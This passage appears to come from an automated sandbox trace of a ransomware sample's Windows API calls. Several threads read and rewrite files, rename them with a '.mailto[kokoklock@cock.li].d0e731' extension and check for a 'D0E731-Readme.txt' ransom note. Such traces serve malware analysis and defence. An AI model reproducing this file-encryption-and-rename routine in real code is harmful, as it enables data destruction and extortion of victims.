Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xf556d0a2 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x76277653 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x40f557e1 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x6e0a9a3d [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xdba4df04 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xc99294d9 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x8c7cd9a0 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xecf6f758 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xe0e5b290 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x1681cdaf [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x7989b897 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x4f2ef436 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xbc76f02d [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xaa3f844d [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x87d044a5 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x32b9a2d2 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x79e298a9 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x404d498b [0064.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0064.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0064.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa90 [0064.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0064.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.679] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.679] ReadFile (in: hFile=0x3c0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb2af8f4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb2af8f4*=0x4096, lpOverlapped=0x0) returned 1 [0064.680] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0064.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efab8 [0064.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efab8) returned 1 [0064.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0064.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.681] WriteFile (in: hFile=0x3c0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb2af8f4, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xb2af8f4*=0x4096, lpOverlapped=0x0) returned 1 [0064.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.681] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x1387c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.681] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb2af92c, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xb2af92c*=0x20, lpOverlapped=0x0) returned 1 [0064.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.682] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efa90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb2af940, lpOverlapped=0x0 | out: lpBuffer=0x33efa90*, lpNumberOfBytesWritten=0xb2af940*=0x8, lpOverlapped=0x0) returned 1 [0064.682] WriteFile (in: hFile=0x3c0, lpBuffer=0xb2af958*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb2af940, lpOverlapped=0x0 | out: lpBuffer=0xb2af958*, lpNumberOfBytesWritten=0xb2af940*=0x4, lpOverlapped=0x0) returned 1 [0064.682] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb2af940, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb2af940*=0x4, lpOverlapped=0x0) returned 1 [0064.682] WriteFile (in: hFile=0x3c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb2af940, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb2af940*=0x6c, lpOverlapped=0x0) returned 1 [0064.682] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb2af940, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xb2af940*=0x20, lpOverlapped=0x0) returned 1 [0064.682] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb2af940, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb2af940*=0x4, lpOverlapped=0x0) returned 1 [0064.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa68) returned 1 [0064.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa90) returned 1 [0064.682] CloseHandle (hObject=0x3c0) returned 1 [0064.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e67c8 [0064.685] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" [0064.685] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0064.685] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.685] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0064.686] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0064.686] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0064.686] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34274e0 [0064.686] wcscpy (in: _Dest=0x34274e0, _Source="C:\\588bce7c90097ed212\\3082\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0064.686] wcscat (in: _Dest=0x34274e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt" [0064.686] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\d0e731-readme.txt")) returned 0x20 [0064.686] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34274e0) returned 1 [0064.686] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e86d0) returned 1 [0064.686] RtlExitUserThread (Status=0x1) Thread: id = 206 os_tid = 0x11b0 [0063.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0063.458] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", dwFileAttributes=0x20) returned 1 [0063.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0063.458] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0xb32fe54 | out: lpFileSize=0xb32fe54*=201796) returned 1 [0063.458] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x31440, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.458] ReadFile (in: hFile=0x3ac, lpBuffer=0xb32fe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb32fe24, lpOverlapped=0x0 | out: lpBuffer=0xb32fe28*, lpNumberOfBytesRead=0xb32fe24*=0x4, lpOverlapped=0x0) returned 1 [0063.833] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb30 [0063.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd38 [0063.833] NtQuerySystemTime (in: CurrentTime=0xb32fe00 | out: CurrentTime=0xb32fe00*=132121176217215404) returned 0x0 [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xe2a8e25d [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x8e0199a2 [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x860f8bb1 [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xe79d77b [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xc38729bd [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x3a083c36 [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xb7e2d861 [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xd628da79 [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x39d08c8b [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xddcf6050 [0063.833] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x9b2cb881 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x7efbf4d1 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x1e240254 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x38d29516 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xd071d2ad [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x17d5a23d [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xf34a9f97 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xcc92716f [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x761aa580 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x79ca71c [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xfd11785a [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x91c8d1f9 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xe350aa71 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x78cd0120 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xa3ac321c [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xb3311869 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x923558f5 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xf67c6f7a [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xc8a04f72 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x5449b11a [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0xe900cf64 [0063.834] RtlRandom (in: Seed=0xb32fe0c | out: Seed=0xb32fe0c) returned 0x18c4c2cd [0063.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdb0 [0063.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0063.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb58 [0063.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0063.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55c8408 [0063.845] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.845] ReadFile (in: hFile=0x3ac, lpBuffer=0x55c8408, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb32fdc0, lpOverlapped=0x0 | out: lpBuffer=0x55c8408*, lpNumberOfBytesRead=0xb32fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0064.276] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.276] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be398 [0064.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be398) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.278] WriteFile (in: hFile=0x3ac, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb32fdc0, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xb32fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.278] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.278] ReadFile (in: hFile=0x3ac, lpBuffer=0x55c8408, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb32fdc0, lpOverlapped=0x0 | out: lpBuffer=0x55c8408*, lpNumberOfBytesRead=0xb32fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0064.407] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0064.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0064.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.407] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b40e8 [0064.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33ef9f0 [0064.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.408] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.408] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0064.409] WriteFile (in: hFile=0x3ac, lpBuffer=0x55b40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb32fdc0, lpOverlapped=0x0 | out: lpBuffer=0x55b40e8*, lpNumberOfBytesWritten=0xb32fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0064.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b40e8) returned 1 [0064.409] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x2d3ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.409] ReadFile (in: hFile=0x3ac, lpBuffer=0x55c8408, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb32fdc0, lpOverlapped=0x0 | out: lpBuffer=0x55c8408*, lpNumberOfBytesRead=0xb32fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0064.468] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x2d3ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0064.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0064.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efcc0 [0064.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efcc0) returned 1 [0064.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efcc0 [0064.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe50 [0064.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe50) returned 1 [0064.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0064.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0064.469] WriteFile (in: hFile=0x3ac, lpBuffer=0x3475830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb32fdc0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesWritten=0xb32fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0064.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.469] WriteFile (in: hFile=0x3ac, lpBuffer=0x34bea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb32fe1c, lpOverlapped=0x0 | out: lpBuffer=0x34bea78*, lpNumberOfBytesWritten=0xb32fe1c*=0x20, lpOverlapped=0x0) returned 1 [0064.470] WriteFile (in: hFile=0x3ac, lpBuffer=0x33ef9f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb32fe1c, lpOverlapped=0x0 | out: lpBuffer=0x33ef9f0*, lpNumberOfBytesWritten=0xb32fe1c*=0x20, lpOverlapped=0x0) returned 1 [0064.470] WriteFile (in: hFile=0x3ac, lpBuffer=0x33efcc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb32fe1c, lpOverlapped=0x0 | out: lpBuffer=0x33efcc0*, lpNumberOfBytesWritten=0xb32fe1c*=0x20, lpOverlapped=0x0) returned 1 [0064.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55c8408) returned 1 [0064.471] WriteFile (in: hFile=0x3ac, lpBuffer=0x33efb58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb32fe24, lpOverlapped=0x0 | out: lpBuffer=0x33efb58*, lpNumberOfBytesWritten=0xb32fe24*=0x8, lpOverlapped=0x0) returned 1 [0064.471] WriteFile (in: hFile=0x3ac, lpBuffer=0xb32fe3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb32fe24, lpOverlapped=0x0 | out: lpBuffer=0xb32fe3c*, lpNumberOfBytesWritten=0xb32fe24*=0x4, lpOverlapped=0x0) returned 1 [0064.471] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb32fe24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb32fe24*=0x4, lpOverlapped=0x0) returned 1 [0064.471] WriteFile (in: hFile=0x3ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb32fe24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb32fe24*=0x6c, lpOverlapped=0x0) returned 1 [0064.471] WriteFile (in: hFile=0x3ac, lpBuffer=0x33efb30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb32fe24, lpOverlapped=0x0 | out: lpBuffer=0x33efb30*, lpNumberOfBytesWritten=0xb32fe24*=0x20, lpOverlapped=0x0) returned 1 [0064.471] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb32fe24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb32fe24*=0x4, lpOverlapped=0x0) returned 1 [0064.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb30) returned 1 [0064.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdb0) returned 1 [0064.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb58) returned 1 [0064.472] CloseHandle (hObject=0x3ac) returned 1 [0064.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6bb8 [0064.542] wcscpy (in: _Dest=0x33e6bb8, _Source="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" [0064.542] wcscat (in: _Dest=0x33e6bb8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" [0064.543] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.543] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0064.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6bb8) returned 1 [0064.543] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", dwFileAttributes=0x80) returned 0 [0064.543] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3427478 [0064.543] wcscpy (in: _Dest=0x3427478, _Source="C:\\588bce7c90097ed212\\Client\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0064.543] wcscat (in: _Dest=0x3427478, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" [0064.543] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\client\\d0e731-readme.txt")) returned 0x20 [0064.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427478) returned 1 [0064.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8530) returned 1 [0064.544] RtlExitUserThread (Status=0x1) Thread: id = 207 os_tid = 0x11b4 [0063.460] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0063.460] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", dwFileAttributes=0x20) returned 1 [0063.460] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.460] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0xb3af7e0 | out: lpFileSize=0xb3af7e0*=39042) returned 1 [0063.460] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x987e, 